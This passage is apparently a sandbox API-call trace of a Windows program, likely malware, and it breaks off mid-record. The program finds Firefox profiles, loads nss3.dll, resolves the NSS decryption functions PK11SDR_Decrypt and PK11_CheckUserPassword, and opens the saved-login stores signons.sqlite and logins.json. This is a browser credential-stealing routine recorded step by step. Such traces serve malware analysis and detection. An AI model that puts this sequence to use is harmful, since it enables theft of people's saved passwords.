returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" [0069.808] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38 [0069.808] wcscat (in: _Dest=0x28a954, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\" [0069.808] wcscat (in: _Dest=0x28a954, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\.." [0069.808] wcscmp (_String1="..", _String2="..") returned 0 [0069.808] FindNextFileW (in: hFindFile=0x8a3970, lpFindFileData=0x28a704 | out: lpFindFileData=0x28a704) returned 1 [0069.808] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38 [0069.808] wcslen (_String="3y2joh8o.default") returned 0x10 [0069.808] wcscpy (in: _Dest=0x28a954, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" [0069.808] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38 [0069.809] wcscat (in: _Dest=0x28a954, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\" [0069.809] wcscat (in: _Dest=0x28a954, _Source="3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0069.809] wcscmp (_String1="3y2joh8o.default", _String2="..") returned 1 [0069.809] wcscmp (_String1="3y2joh8o.default", _String2=".") returned 1 [0069.809] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x49 [0069.809] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox") returned 0x31 [0069.809] wcslen (_String="profiles.ini") returned 0xc [0069.809] wcscpy (in: _Dest=0x28a42c, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox" [0069.809] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox") returned 0x31 [0069.809] wcscat (in: _Dest=0x28a42c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\" [0069.809] wcscat (in: _Dest=0x28a42c, _Source="profiles.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" [0069.809] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles.ini")) returned 0x2020 [0069.809] wcscpy (in: _Dest=0x28a640, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" [0069.809] wcscpy (in: _Dest=0x28a84a, _Source="General" | out: _Dest="General") returned="General" [0069.809] _snwprintf (in: _Dest=0x28aa54, _Count=0xff, _Format="Profile%d" | out: _Dest="Profile0") returned 8 [0069.809] wcscpy (in: _Dest=0x28a84a, _Source="Profile0" | out: _Dest="Profile0") returned="Profile0" [0069.809] GetPrivateProfileStringW (in: lpAppName="Profile0", lpKeyName="Path", lpDefault="", lpReturnedString=0x28ac54, nSize=0x104, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpReturnedString="Profiles/3y2joh8o.default") returned 0x19 [0069.810] GetPrivateProfileIntW (lpAppName="Profile0", lpKeyName="IsRelative", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 0x1 [0069.811] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox") returned 0x31 [0069.811] wcslen (_String="Profiles\\3y2joh8o.default") returned 0x19 [0069.811] wcscpy (in: _Dest=0x28a220, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox" [0069.811] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox") returned 0x31 [0069.811] wcscat (in: _Dest=0x28a220, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\" [0069.811] wcscat (in: _Dest=0x28a220, _Source="Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0069.811] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0069.811] _snwprintf (in: _Dest=0x28aa54, _Count=0xff, _Format="Profile%d" | out: _Dest="Profile1") returned 8 [0069.811] wcscpy (in: _Dest=0x28a84a, _Source="Profile1" | out: _Dest="Profile1") returned="Profile1" [0069.811] GetPrivateProfileStringW (in: lpAppName="Profile1", lpKeyName="Path", lpDefault="", lpReturnedString=0x28ac54, nSize=0x104, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpReturnedString="") returned 0x0 [0069.812] GetPrivateProfileIntW (lpAppName="Profile1", lpKeyName="IsRelative", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 0x0 [0069.812] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0069.812] _snwprintf (in: _Dest=0x289ce0, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox\\bin") returned 19 [0069.812] RegOpenKeyExW (in: hKey=0x110, lpSubKey="Mozilla Firefox\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x289cb0 | out: phkResult=0x289cb0*=0x0) returned 0x2 [0069.812] RegEnumKeyExW (in: hKey=0x110, dwIndex=0x2, lpName=0x28a6f0, lpcchName=0x289cc0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x289cb8 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x289cc0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x289cb8) returned 0x0 [0069.812] _wcsnicmp (_String1="Mozilla", _String2="mozilla", _MaxCount=0x7) returned 0 [0069.812] _snwprintf (in: _Dest=0x289ce0, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox 25.0\\bin") returned 24 [0069.812] RegOpenKeyExW (in: hKey=0x110, lpSubKey="Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x289cb0 | out: phkResult=0x289cb0*=0x114) returned 0x0 [0069.812] RegQueryValueExW (in: hKey=0x114, lpValueName="PathToExe", lpReserved=0x0, lpType=0x289c94, lpData=0x28a8f0, lpcbData=0x289c98*=0x208 | out: lpType=0x289c94*=0x1, lpData="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpcbData=0x289c98*=0x66) returned 0x0 [0069.812] RegCloseKey (hKey=0x114) returned 0x0 [0069.812] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26 [0069.812] wcslen (_String="nss3.dll") returned 0x8 [0069.812] wcscpy (in: _Dest=0x289ab8, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0069.813] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26 [0069.813] wcscat (in: _Dest=0x289ab8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\") returned="C:\\Program Files (x86)\\Mozilla Firefox\\" [0069.813] wcscat (in: _Dest=0x289ab8, _Source="nss3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0069.813] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll")) returned 0x20 [0069.813] wcscpy (in: _Dest=0x28a4e0, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0069.813] RegEnumKeyExW (in: hKey=0x110, dwIndex=0x3, lpName=0x28a6f0, lpcchName=0x289cc0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x289cb8 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x289cc0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x289cb8) returned 0x103 [0069.813] RegCloseKey (hKey=0x110) returned 0x0 [0069.813] wcscpy (in: _Dest=0x28ad74, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0069.813] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28db0c | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0069.813] SetCurrentDirectoryW (lpPathName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox")) returned 1 [0069.813] wcslen (_String="nss3.dll") returned 0x8 [0069.813] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26 [0069.813] wcscpy (in: _Dest=0x28ab64, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0069.814] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26 [0069.814] wcscat (in: _Dest=0x28ab64, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\") returned="C:\\Program Files (x86)\\Mozilla Firefox\\" [0069.814] wcscat (in: _Dest=0x28ab64, _Source="nss3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0069.814] GetModuleHandleW (lpModuleName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned 0x0 [0069.846] LoadLibraryExW (lpLibFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll", hFile=0x0, dwFlags=0x8) returned 0x73eb0000 [0070.117] GetProcAddress (hModule=0x73eb0000, lpProcName="NSS_Init") returned 0x73f6d70b [0070.211] GetProcAddress (hModule=0x73eb0000, lpProcName="NSS_Shutdown") returned 0x73f6d13c [0070.211] GetProcAddress (hModule=0x73eb0000, lpProcName="PK11_GetInternalKeySlot") returned 0x73f03c51 [0070.211] GetProcAddress (hModule=0x73eb0000, lpProcName="PK11_FreeSlot") returned 0x73f03333 [0070.212] GetProcAddress (hModule=0x73eb0000, lpProcName="PK11_CheckUserPassword") returned 0x73eecbc4 [0070.212] GetProcAddress (hModule=0x73eb0000, lpProcName="PK11_Authenticate") returned 0x73eed3ca [0070.212] GetProcAddress (hModule=0x73eb0000, lpProcName="PK11SDR_Decrypt") returned 0x73f000a7 [0070.257] NSS_Init () returned 0x0 [0070.457] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0070.457] wcslen (_String="signons.txt") returned 0xb [0070.457] wcscpy (in: _Dest=0x28b5d0, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0070.457] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0070.457] wcscat (in: _Dest=0x28b5d0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\" [0070.457] wcscat (in: _Dest=0x28b5d0, _Source="signons.txt" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.txt" [0070.457] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0070.457] wcslen (_String="signons2.txt") returned 0xc [0070.457] wcscpy (in: _Dest=0x28b3c0, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0070.457] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0070.457] wcscat (in: _Dest=0x28b3c0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\" [0070.457] wcscat (in: _Dest=0x28b3c0, _Source="signons2.txt" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons2.txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons2.txt" [0070.457] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0070.457] wcslen (_String="signons3.txt") returned 0xc [0070.457] wcscpy (in: _Dest=0x28afa0, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0070.457] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0070.457] wcscat (in: _Dest=0x28afa0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\" [0070.457] wcscat (in: _Dest=0x28afa0, _Source="signons3.txt" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons3.txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons3.txt" [0070.457] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0070.457] wcslen (_String="signons.sqlite") returned 0xe [0070.457] wcscpy (in: _Dest=0x28b1b0, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0070.457] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0070.458] wcscat (in: _Dest=0x28b1b0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\" [0070.458] wcscat (in: _Dest=0x28b1b0, _Source="signons.sqlite" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.sqlite" [0070.458] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0070.458] wcslen (_String="logins.json") returned 0xb [0070.458] wcscpy (in: _Dest=0x28b7e0, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0070.458] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0070.458] wcscat (in: _Dest=0x28b7e0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\" [0070.458] wcscat (in: _Dest=0x28b7e0, _Source="logins.json" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\logins.json") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\logins.json" [0070.458] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\logins.json" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\logins.json")) returned 0xffffffff [0070.458] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\signons.sqlite")) returned 0x2020 [0070.458] _snwprintf (in: _Dest=0x287bf0, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox\\bin") returned 19 [0070.458] RegOpenKeyExW (in: hKey=0x13c, lpSubKey="Mozilla Firefox\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x287bc0 | out: phkResult=0x287bc0*=0x0) returned 0x2 [0070.458] RegEnumKeyExW (in: hKey=0x13c, dwIndex=0x2, lpName=0x288600, lpcchName=0x287bd0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x287bc8 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x287bd0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x287bc8) returned 0x0 [0070.458] _wcsnicmp (_String1="Mozilla", _String2="mozilla", _MaxCount=0x7) returned 0 [0070.459] _snwprintf (in: _Dest=0x287bf0, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox 25.0\\bin") returned 24 [0070.459] RegOpenKeyExW (in: hKey=0x13c, lpSubKey="Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x287bc0 | out: phkResult=0x287bc0*=0x140) returned 0x0 [0070.459] RegQueryValueExW (in: hKey=0x140, lpValueName="PathToExe", lpReserved=0x0, lpType=0x287ba4, lpData=0x288800, lpcbData=0x287ba8*=0x208 | out: lpType=0x287ba4*=0x1, lpData="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpcbData=0x287ba8*=0x66) returned 0x0 [0070.459] RegCloseKey (hKey=0x140) returned 0x0 [0070.459] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26 [0070.459] wcslen (_String="nss3.dll") returned 0x8 [0070.459] wcscpy (in: _Dest=0x2879c8, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0070.459] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26 [0070.459] wcscat (in: _Dest=0x2879c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\") returned="C:\\Program Files (x86)\\Mozilla Firefox\\" [0070.459] wcscat (in: _Dest=0x2879c8, _Source="nss3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0070.459] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll")) returned 0x20 [0070.459] wcscpy (in: _Dest=0x2883f0, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0070.459] RegEnumKeyExW (in: hKey=0x13c, dwIndex=0x3, lpName=0x288600, lpcchName=0x287bd0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x287bc8 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x287bd0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x287bc8) returned 0x103 [0070.459] RegCloseKey (hKey=0x13c) returned 0x0 [0070.459] wcscpy (in: _Dest=0x288ca0, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0070.459] wcscpy (in: _Dest=0x288a70, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0070.459] wcscat (in: _Dest=0x288ca0, _Source="\\sqlite3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\sqlite3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\sqlite3.dll" [0070.459] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\sqlite3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\sqlite3.dll")) returned 0xffffffff [0070.459] wcscpy (in: _Dest=0x288ca0, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0070.459] wcscat (in: _Dest=0x288ca0, _Source="\\mozsqlite3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\mozsqlite3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\mozsqlite3.dll" [0070.459] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozsqlite3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozsqlite3.dll")) returned 0xffffffff [0070.459] wcscpy (in: _Dest=0x288ca0, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0070.459] wcscat (in: _Dest=0x288ca0, _Source="\\nss3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0070.460] GetModuleHandleW (lpModuleName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned 0x73eb0000 [0070.460] GetProcAddress (hModule=0x73eb0000, lpProcName="sqlite3_open") returned 0x74011ca0 [0070.460] GetProcAddress (hModule=0x73eb0000, lpProcName="sqlite3_prepare") returned 0x73f9ce70 [0070.460] GetProcAddress (hModule=0x73eb0000, lpProcName="sqlite3_step") returned 0x74005200 [0070.460] GetProcAddress (hModule=0x73eb0000, lpProcName="sqlite3_column_text") returned 0x73fbd400 [0070.460] GetProcAddress (hModule=0x73eb0000, lpProcName="sqlite3_column_int") returned 0x73fbd3a0 [0070.460] GetProcAddress (hModule=0x73eb0000, lpProcName="sqlite3_column_int64") returned 0x73fbd3d0 [0070.460] GetProcAddress (hModule=0x73eb0000, lpProcName="sqlite3_finalize") returned 0x73fe9f60 [0070.460] GetProcAddress (hModule=0x73eb0000, lpProcName="sqlite3_close") returned 0x73febde0 [0070.460] GetProcAddress (hModule=0x73eb0000, lpProcName="sqlite3_exec") returned 0x73fea270 [0070.460] sqlite3_open () returned 0x0 [0070.485] sqlite3_prepare () returned 0x0 [0070.494] sqlite3_step () returned 0x65 [0070.495] sqlite3_finalize () returned 0x0 [0070.495] sqlite3_close () returned 0x0 [0070.495] NSS_Shutdown () returned 0x0 [0070.498] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0070.498] _snwprintf (in: _Dest=0x289ce0, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox\\bin") returned 19 [0070.498] RegOpenKeyExW (in: hKey=0x110, lpSubKey="Mozilla Firefox\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x289cb0 | out: phkResult=0x289cb0*=0x0) returned 0x2 [0070.498] RegEnumKeyExW (in: hKey=0x110, dwIndex=0x2, lpName=0x28a6f0, lpcchName=0x289cc0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x289cb8 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x289cc0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x289cb8) returned 0x0 [0070.498] _wcsnicmp (_String1="Mozilla", _String2="mozilla", _MaxCount=0x7) returned 0 [0070.498] _snwprintf (in: _Dest=0x289ce0, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox 25.0\\bin") returned 24 [0070.498] RegOpenKeyExW (in: hKey=0x110, lpSubKey="Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x289cb0 | out: phkResult=0x289cb0*=0x134) returned 0x0 [0070.498] RegQueryValueExW (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x289c94, lpData=0x28a8f0, lpcbData=0x289c98*=0x208 | out: lpType=0x289c94*=0x1, lpData="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpcbData=0x289c98*=0x66) returned 0x0 [0070.498] RegCloseKey (hKey=0x134) returned 0x0 [0070.498] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26 [0070.498] wcslen (_String="nss3.dll") returned 0x8 [0070.498] wcscpy (in: _Dest=0x289ab8, _Source="C:\\Program Files 